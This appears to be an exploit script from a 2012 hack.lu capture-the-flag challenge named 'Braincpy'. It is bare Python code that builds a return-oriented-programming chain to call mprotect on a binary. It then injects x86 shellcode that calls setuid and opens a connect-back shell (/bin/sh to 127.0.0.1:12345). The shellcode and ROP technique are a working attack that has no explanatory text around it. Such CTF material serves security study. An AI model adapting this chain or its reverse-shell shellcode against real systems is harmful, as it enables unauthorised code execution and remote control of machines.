[hack.lu2012] #09 Braincpy - 300

exploit.py

from No___Op import *
from subprocess import *

bss = 0x80e5060 + 0x400
mprotect = 0x805a5a0
stdin = 0x80e5080
fread = 0x80a94c0
pop4ret = 0x80489db
pop3ret = pop4ret + 1
leave_ret = 0x80c207e
ebp = 0x080dbfda

payload  = ''

payload += p32(fread)
payload += p32(pop4ret)
payload += p32(bss)
payload += p32(0x01010101)
payload += p32(0x01010101)
payload += p32(stdin)
payload += p32(ebp)
payload += p32(bss - 4)
payload += p32(leave_ret)

payload += 'a' * (96 - 8 - len(payload))

payload += p32(0x8086c1c - 0x0A)
payload += p32(0x080df815)

p = Popen(['./braincpy', payload], stdin=PIPE, stdout=PIPE)

time.sleep(0.1)

sc  = "\x6a\x17\x58\x68\xe8\x03\x00\x00\x5b\xcd\x80" #setuid
#nc localhost 12345
sc += (
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
    "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x7f\x00\x00\x01\x66\x68"
    "\x30\x39\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
    "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
    "\x89\xe1\xb0\x0b\xcd\x80"
)

pay2  = ''
pay2 += p32(mprotect)
pay2 += p32(pop3ret)
pay2 += p32(bss & ~0xfff)
pay2 += p32(0x1000)
pay2 += p32(7)
pay2 += p32(bss+24)
pay2 += sc

p.stdin.write(pay2)